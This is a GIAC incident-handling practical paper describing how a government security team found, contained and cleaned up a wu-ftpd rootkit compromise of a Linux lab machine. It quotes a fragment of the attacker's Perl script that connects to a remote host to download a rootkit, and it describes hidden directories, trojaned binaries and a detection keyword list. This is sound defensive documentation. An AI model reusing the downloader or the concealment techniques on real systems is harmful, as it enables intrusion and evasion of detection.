Global Information Assurance Certification Paper

GIAC Advanced Incident Handling and Hacker Exploits
Practical Assignment for Network Security 2000 in Monterey, October 2000
Track 4
Illustrate an Incident

Ernest Lopez
Federal Government

Introduction:

The purpose of this paper is to examine the process involved throughout a Security Incident that occurred at a Government facility. I will present the six primary phases in incident handling and prove my working knowledge of the subject as I handled an incident that occurred several months ago. I will step through the six phases, which include Preparation, Identification, Containment, Eradication, Recovery and Lessons Learned. Preparation begins with prior availability of written policy and procedure documentation. It involves having the available resources such as hardware, software, tools, communications and transportation. This is to prevent havoc and confusion at a time of an incident. The next phase, Identification, involves the process of being able to determine if indeed this is an incident. This involves the use of Intrusion Detection systems and firewalls and requires up-to-date communication with all supervisors. It requires identification of a primary handler to be able to look for signs of compromise while maintaining pristine order of the computer. The next phase is Containment where the primary goal is to keep the problem from escalating or getting worse. Once a team is organized it is their responsibility and the responsibility of the primary handler to keep the system pristine and if possible make a back-up prior to making any changes. It might also be the time to make the decision to pull the system off the network depending on the situation and risk. At this time it is very important to continue communications with all supervisors and the system administrators. The next step, Eradication, involves determining how the "hacker" broke in. By determining how they got in you can improve your security of the machine as well as any other systems that might be configured similar. Once you feel that the system is well secured it is advisable to perform a vulnerability scan to ensure all is secure. The next step, Recovery, involves performing a recovery from a recent back-up that is known to be clean. If there are no back-ups available then a fresh OS install is advised to ensure there are no hidden back doors or malicious code. At this time apply all patches and updates to the OS and software. Finally make the decision to place the system back on the network and continue to monitor for a period of time. The last phase, Follow-Up, requires the documentation of findings. Also conduct a meeting with staff and other administrators of the lessons learned with this incident. Come up with a list of recommended changes and improvements on how to prevent this from happening again and present this to management. Once recommendations are approved, be sure to follow through and implement them as needed. The next section will present in detail the six phases that were applied in the incident at our facility.

Preparation:

Let me begin by giving some standard policies and procedures that our Government Agency follows. Our agency has a written security policy document that is reviewed every 2 years. This document contains policies for good password protection, public services, authentication and encryption, physical security, risk assessment, warning banners, etc. This is a well know document throughout the agency but we struggle to enforce the policies within this document. Our agency contains about 7,000 active systems that a group of 7 IT Security staff members must protect. Of that 7 we have 4 members who are part of the Operations Team whom I lead. This Operations Team is considered our Incident Handling Team, which is aided by our local law enforcement,

Office of Inspector General (OIG). Within this team we have two main POC for doing console reviews and two others to serve as the witness and scribe. During normal business hours should an incident arise, one or more of the team members will be notified and it is their responsibility to notify myself as the lead and the others. All team members carry a pager and are paged upon notification of an incident. Should none of the team members be physically in our offices or out of reach there is an IT Security hotline that immediately pages a member of the staff who is on duty. During off - hours or weekends should someone need immediate attention the help desk is notified and they contain a list of call down numbers of team members who are on call.

Should we need to respond to an incident our team carries with them a floppy disk that contains binaries for the selected OS we are going to investigate. 95% of the time we need this disk because the binaries are usually trojaned and giving false information. Some common binaries that are on the floppy are "ls" "ps" "netstat" "who" "find" etc. We also carry a bound notebook for written documentation. These steps assist our team in handling an incident effectively and efficiently in order to prevent contamination of evidence and prevent loss of precious time. Our staff is trained in Incident Handling and on occasion have the chance to practice their skills in a lab environment. Several times a year the staff attends conferences as well as training sessions for IT Security related items.

Identification:

On July 7, 2000 our Intrusion Detection System picked up extensive scans from @Home ISP. These scans were probing for port 21, which at that time was quite common. We tend to see spikes in scans depending on what latest exploit is out. This month there had been a new exploit for wu-ftpd and we had been regularly scanned. Knowing that the scan was probing for systems with port 21 open and looking for non-patched systems running wu-ftpd, we decided to look closer into the scan. We are currently running Network Flight Recorded (NFR) & RealSecure as our IDS and have created several perl scripts that access the NFR SQL database to query for odd connections. What constitutes an odd connection is totally left up to our staff and therefore easily configurable. The script that caught our attention is one that sends an automated email to us if it sees more than 40 connections to a set of particular ports in a given amount of time. This script has proven to be extremely helpful in catching scans in progress. Having the ability to catch scans in progress allows us to place blocks and filters at the Firewalls and Routers on the fly. Once we were notified that a massive scan had taken place we decided to look at the logs of sites hit by the scan. What caught my attention was the presence of one of our lab machines that was recently placed on-line by one of our student interns. The student had installed Linux 6.2 and was tasked to secure the machine with several in-house Perl scripts. Being that this machine was part of our Security Lab and a machine being used in our labs for testing, it was easy to gain physical and root access. The very first step I did to check for a compromise was to run a 'ps' command to see if anything out of the ordinary was running. To my knowledge nothing was running that should not have. The next step was to look at the binaries and look for suspicious ownership. After some initial review of the system binaries I noticed that several Linux binaries were owned by user "FTP". These binaries were 'ls' and 'ps'. This seemed odd since all the other binaries were owned by root. I also noticed that the

person from @Home who had done the scans was still logged on the machine as FTP. Once I noticed that this user was logged in and this system was never intended to be an ftp server, I made the decision that the system was compromised. I proceeded to contact the other members of the team as well as my supervisor. Upon arrival to the scene a primary Incident Handler was assigned and the next step of containment was to follow.

Containment:

After making the decision that the system was compromised and resided on a network that we did not want to risk other contamination, we made the decision to pull the system off the network. In several cases where the OIG has been involved in incidents, the idea of leaving the system up and running was discussed. The role of the IT Security Team is to prevent hacking attempts and where we are unable to prevent attacks it is our job to discover compromises. Once we feel comfortable declaring the system compromised and doing an initial investigation it is our duty to notify the OIG. The responsibility of the OIG is to attempt to track the hacker and prosecute. It is also the role of the OIG to maintain a chain of custody. Many times the OIG makes the decision to take the hard-drive with him to do further analysis. When this takes place there is a form that our Security team must fill out and sign showing we were witness to him taking the drive. There is a direct conflict of interest here since it is our duty to declare the system compromised, secure the network, and get the system back up and running as soon as possible. The OIG on the other hand would like to leave the system running in an attempt to catch the hacker for evidence. In order for us to contain the incident, if we feel that the compromise puts others at risk we will make the decision the pull the system off the network regardless of the situation. At the time when the OIG is notified of the incident he will take over the investigation and should he feel necessary to take the hard drive to duplicate it, he has the final authority to do so. The IT Security manager was notified of the incident as well as the OIG. Being that this was a local incident to IT Security, the OIG decided not to get involved in the incident. Being that we do not have the funding nor resources to do complete bit by bit drive back-up we decided to tar the contents of the hidden directory for future analysis. All commands were documented in our bound notebook by the scribe. Being that we found no sniffer running on the subnet, we did not feel that it was a risk for other users and therefore did not ask them to change their passwords.

The following is detailed information on what was discovered in this incident.
The system in question was running default Red Hat Linux 6.2 Server version 2.2.5-15 and did not contain a warning banner. The command 'last' was run and showed –

ftp ftpd11098 24.1.178.242 July 7, 2000 12:46

This was an immediate indication that the system was compromised since the machine was being used as a lab machine and was never intended to act as an ftp server. There should not have been anyone logged in as ftp, since this was not a service that was supposed to be left on. Going to the root directory it was noticed that ',bash_history' for root was wiped clean. It was also noticed that 'lastlog' was deleted prior to July 6, 2000. The next step as with most of our incidents was to check for hidden directories. We immediately started checking for directories that contained dots in them. We issued the following commands:

find / -name '…'
find / -name '.. '
find / -name '.*'

and were coming up empty. 99% of the time we have a good suspicion about a compromise we will find hidden directories. The trick in catching the 'hacker' is locating these directories. Since we knew is was most likely compromised and the local "find" command was not showing any hidden directories, we decided to use our disk of binaries for Linux 6.2. We ran the following commands to mount the disk:

mount /dev/fd0/floppy /mnt/floppy

We then created aliases so that we could run the commands without calling them from the mount drive.

Alias /bin/ls /mnt/floppy/ls
Alias /bin/ps /mnt/ps
Alias /usr/bin/find

When we ran the new aliased command "find"

find / -name '.*'

we were surprised to find a list of the following directories that had not showed up using the /usr/bin/find command. Below are the contents of the hidden directory:

```
computerA% ls -al
total 2118
drwxrwxrwx   4    staff       512 Aug 15 11:17 .
drwxrwxrwx   3    other       512 Oct 19 15:13 ..
-rw-r--r--   1 z   staff        42 Jul  7 12:48 .addresses
-rwxr-xr-x   1 z   staff       347 Jul  7 12:48 .check
-rw-r--r--   1 z   staff        32 Jul  7 12:48 .files
-rw-r--r--   1 z   staff        29 Jul  7 12:48 .logs
-rw-r--r--   1 z   staff        16 Jul  7 12:48 .myip
-rw-r--r--   1 z   staff       132 Jul  7 12:48 .processes
drwxrwxrwx   4 z   staff       512 Jul  2 21:09 anivnew
-rw-r--r--   1 z   staff   1034314 Jul  7 12:48 anivnew.tar.gz
-rwxr-xr-x   1 z   staff      5349 Jul  7 12:48 duy
-rwxr-xr-x   1 z   staff       463 Jul  7 12:46 getrkit.pl
-rwxr-xr-x   1 z   staff        39 Jul  7 12:48 own
drwxrwxrwx   2 z   staff       512 Jul  7 12:48 real
-rwxr-xr-x   1 z   staff      9312 Jul  7 12:48 synk4
-rwxr-xr-x   1 z   staff      6627 Jul  7 12:48 udpdos
ComputerA% cd anivnew
ComputerA% pwd
```

ComputerA% /u/home/z/achilles/ /anivnew

There were many directories created with 3 spaces as a directory name. These hide the directories and would not have been found with a normal "find" command. After changing into the hidden directory there were more files and hidden directories found:
/lib/ /anivnew.tar.gz
/lib/ /getrkit.pl
/lib/ /udpdos
/lib/ /synk4
/lib/ /own
/lib/ /duy
/lib /anivnew/
/lib/ /anivnew/rkb/
/lib/ /anivnew/scan

We were able to find the location of the real binaries under:

/lib/ /real/killall
/lib/ /real/ps

When we ran the binaries from these /real/ directories they provided us with the same information from our binaries on disk.

We were also able to find the location of all the trojaned files:

/lib/ /anivnew/rkb/blah.sh
/lib/ /anivnew/rkb/check
/lib/ /anivnew/rkb/cpfile
/lib/ /anivnew/rkb/in.ftpd
/lib/ /anivnew/rkb/inetd
/lib/ /anivnew/rkb/ls
/lib/ /anivnew/rkb/tcpd
/lib/ /anivnew/rkb/syslogd
/lib/ /anivnew/rkb/named
/lib/ /anivnew/rkb/ps-real
/lib/ /anivnew/rkb/install

We discovered several scanners and rootkits:
Many of these scanners and rootkits were already compiled and could have been run to scan other networks but there was no evidence of a sniffer running locally.

/lib/ /anivnew/scan/ftpscan/
/lib/ /anivnew/scan/ftpscan.rkit/
/lib/ /anivnew/scan/namedscan/

/lib/ /anivnew/scan/ftpscan/wu.c
/lib/ /anivnew/scan/ftpscan/pscan
/lib/ /anivnew/scan/ftpscan/queso
/lib/ /anivnew/scan/ftpscan/instal.sh
/lib/ /anivnew/scan/ftpscan/ftp.pl
/lib/ /anivnew/scan/ftpscan/queso.conf
/lib/ /anivnew/scan/ftpscan/ftp.vuln
/lib/ /anivnew/scan/ftpscan/a.c.save
/lib/ /anivnew/scan/ftpscan/telnet.pm

After some more in depth investigation we found that the results of the a program called 'namedscan' which called the queso scan, were being sent to a hotmail account. This would serve as evidence in case we wanted to take this case to court. Fortunately since this system had been set up by a student as a test machine, there was a miss-configuration in the /etc/resolve.conf file and the machine was unable to resolve hotmail.com and therefore was unable to send the results.

A trojaned syslogd was found pointing back to /lib/ /.logs for which would bypass logging ssh, rshd, rlogind, in.telnetd, and other 'd' processes. A trojaned 'ps' was found pointing back to /lib/ /.processes which would hide processes like telnet, ssh, slice, imap, scan, screen, SCREEN, server, own, killall, zombie, perl, pscan, pl, and wurkit. A trojaned inetd was found pointing back to /lib/ /.check that would ensure sshd and myserver were running on reboot. Finally a slave DDOS program 'myserver' was installed in /lib directory.

One file that was found contained the results of an ftp scan that had completed from the compromised system. It was possible that the 'hacker' was scanning other networks searching for other vulnerable wu-ftp servers.

X.115.50.26 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.115.62.183 (Standard: Solaris 2.x, Linux 2.1.???, MacOS) is running 2.6.0 (Zoot)
X.115.62.183 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.115.89.212 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.115.114.6 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.1.121.80 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.1.112.75 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.1.134.183 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.17.153.100 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.17.167.205 (Linux 2.1.xx) is running 2.6.0 (Zoot)
X.17.175.17 (Linux 2.1.xx) is running 2.6.0 (Zoot)

All of the above information was discovered in a matter of hours and was done carefully in order to maintain the state of the machine. All notes and findings were written in the log book and would serve as information for the written report.

Eradication:

The ability to determine the cause of the incident was fairly simple due to that fact that the wu-ftpd exploit was new to the 'hacker' scene at that time. There was evidence in the logs that there was an attempted buffer overflow through an ftp connection. There was also a live connection that had him still logged in from @home as user 'ftp'. Finally the binaries 'ps' and 'ls' were owned by user 'ftp' and not root. All this evidence was enough for us to make the decision that the 'hacker' had come in using the latest wu-ftpd exploit on a machine that was not patched and had been up for about two days. Most of the time after a system is compromised and gained root access a typical "root kit" is downloaded and installed. Many times we are able to view the contents of a script to see where the hacker is obtaining these root kits and we have blocked access at the Firewall to them. Once again we found a perl script called "getrtkt.pl". Below is an excerpt from the script:

```
($ip) = @ARGV;
$getsock = new IO::Socket::INET (PeerAddr => $ip, PeerPort => 53556, Proto => 't
cp');
print $getsock "whore\n";
open(ANIVNEW, ">anivnew.tar.gz");
```

This script takes the IP address of a site that contains a root kit as an argument, opens a tcp socket to port 53556 and downloads the file "anivnew.tar.gz".

Our NFR currently has another home-grown script that monitors ftp traffic in and out of our network. The general idea of the script is to monitor ftp data and to send an alert if it catches suspicious downloads. Suspicious is defined as any ftp transfers containing .tar .gz .zip extensions or contains keywords such as root, rootkit, rt, kit, kt or any other combination. We have been successful in catching real time downloads of root kits but in this case it was probably sent as an alert since it was a download of a '.gz' extension but the keyword anivnew was probably discarded as a legitimate download.

Once the system was patched and thought to be secure the IT Security team ran a vulnerability scan to verify that all vulnerabilities had been patched and secured. The system was nmap'd and had only necessary services turned on such as ssh. Ftp and telnet services were immediately turned off and the system was wrapped to only allow local access in. Due to its recent placement on the network and timeliness of 'hack' the system had no critical information on it and therefore had no reason why it should have been backed up at that time. The system at the time did not have a banner installed and by policy it is required to have a banner on all systems. The banner below was installed in /etc/issue

---

* * * W A R N I N G W A R N I N G * * *

U.S. GOVERNMENT COMPUTER
If not authorized to access this system, disconnect NOW.

YOU SHOULD HAVE NO EXPECTATION OF PRIVACY. By continuing, you consent to your keystrokes and data content being monitored.

If you do not have authorization you are warned to disconnect at once. Actual or attempted use, access, communication, or examination by unauthorized persons is a criminal violation of Title 18, United States Code, Section 1030.

Recovery:

The system was completely formatted and had Red Hat Linux 6.2 reinstalled with all the updated patches and tcp wrappers. There is a home-grown script that was written to harden the Linux OS by adding warning banners, closing unnecessary services and using tcp-wrappers. The script creates a backup directory and makes copies of any files currently on the system that the script is about to change or replace. It then turns off any services that the group believes are normally not required on a user system. Default Tcp-wrappers are installed to only allow machines within our domain to connect to the machine. It also enables shadow passwords if they are not already.

Below are the specifics of what the scripts does:

```
#Make the backup directories
        mkdir /etc/linux
        mkdir /etc/linux/backup

#Copy any files we are going to modify/change into the backup area
        if [ -f /etc/inetd.conf ]; then
            cp -p /etc/inetd.conf /etc/linux/backup
        fi

        cp -p /etc/resolv.conf /etc/linux/backup
        cp -p /etc/hosts.allow /etc/linux/backup
        cp -p /etc/hosts.deny /etc/linux/backup
        cp -p /etc/rc.d/rc.local /etc/linux/backup
```

```
#Build a list of services that were turned on before we disabled them
        /sbin/chkconfig --list | /bin/egrep "3:on|4:on|5:on" | /usr/bin/awk '{print $1}'
         > /etc/linux/backup/preinst_service

#The list of services we are going to turn off
        unneeded_services="
            amd
            arpwatch
            autofs
            bootparamd
            dhcpd
            gated
            identd
            inet
            innd
            linuxconf
            lpd
            mars-new
            mcserv
            named
            netfs
            nfs
            nfslock
            nscd
            portmap
            postgresql
            routed
            rstatd
            rusersd
            rwhod
            sendmail
            snmpd
            squid
            xntpd
            ypbind
            ypserv
            nfslock
        "

#Make sure we have a clean area to store the list of services we turned off
        if [ -f /etc/linux/backup/services_off ]; then
            rm /etc/linux/backup/services_off
        fi
```

```
#Turn them off
        for service in $unneeded_services
        do
          if [ -f /etc/rc.d/init.d/$service ]; then
             /sbin/chkconfig $service off
             echo $service >> /etc/linux/backup/services_off
          fi
        done

#Install the default files
#Make it so only our domain machines can connect to this box
        install -m 644 /etc/linux/hosts.allow /etc/hosts.allow
        install -m 644 /etc/linux/hosts.deny /etc/hosts.deny
#install the required banner
        install -m 644 /etc/linux/issue /etc/issue
        install -m 644 /etc/linux/issue.net /etc/issue.net
#Make sure they have the right DNS entries
        install -m 644 /etc/linux/resolv.conf /etc/resolv.conf
#Disable all services in inetd.conf
        install -m 644 /etc/linux/inetd.conf /etc/inetd.conf

#Remove any chance that the banner will get replaced on next reboot
        /bin/grep -v "/etc/issue" /etc/linux/backup/rc.local >
        /etc/rc.d/rc.local

#Configure the password settings for MD5+shadow
        /usr/sbin/authconfig --kickstart --enablemd5 --useshadow --nostart

#Store a copy of services we left running
        /sbin/chkconfig --list | /bin/egrep "3:on|4:on|5:on" | /usr/bin/awk '{print $1}'
         > /etc/linux/backup/postinst_service
```

Finally once the systems was put on-line we monitored the activity from and to this system for a time period of about two weeks. We used RealSecure IDS to monitor inbound and outbound traffic. We were monitoring all TCP ports in and out of the system and were looking for signs of returning attempts from the same network. Once we felt it was no longer a threat we removed the filters.

Follow-Up:

At the conclusion of this incident, as with all other incidents, a formal report was written by the primary Incident Handler, that contains all the detailed information. Within this report a detailed summary of lost wages and cost to the agency is documented. This report is then sent to management for review. In this report there is also a set of recommendations that the Incident Handler adds to show how this type of incident could be prevented in the future. This report is also sent to the System Administrators manager

so that they follow through with the set of recommendations and have no excuse should this happen again. One of the lessons learned from this incident was that we were not going to have a student set up a Linux workstation in an unprotected environment. From that point on they will set up workstations to learn on in a lab that is protected by a Firewall. They should also be trained in basic security before they attempt to install an OS for the first time. I hope that one of my first experiences with a compromised systems shows my working knowledge of Incident Handling. Although the steps were not followed by the exact format, we found that our way of handling incidents closely resembles our counterparts at other Government agencies. In the future we plan on training more staff in Incident Handling and one day may have a dedicated staff to server as the primary Handlers in the event of a compromise. Until that day comes where we have the resources and funding to do so, we will continue to handle incidents as planned.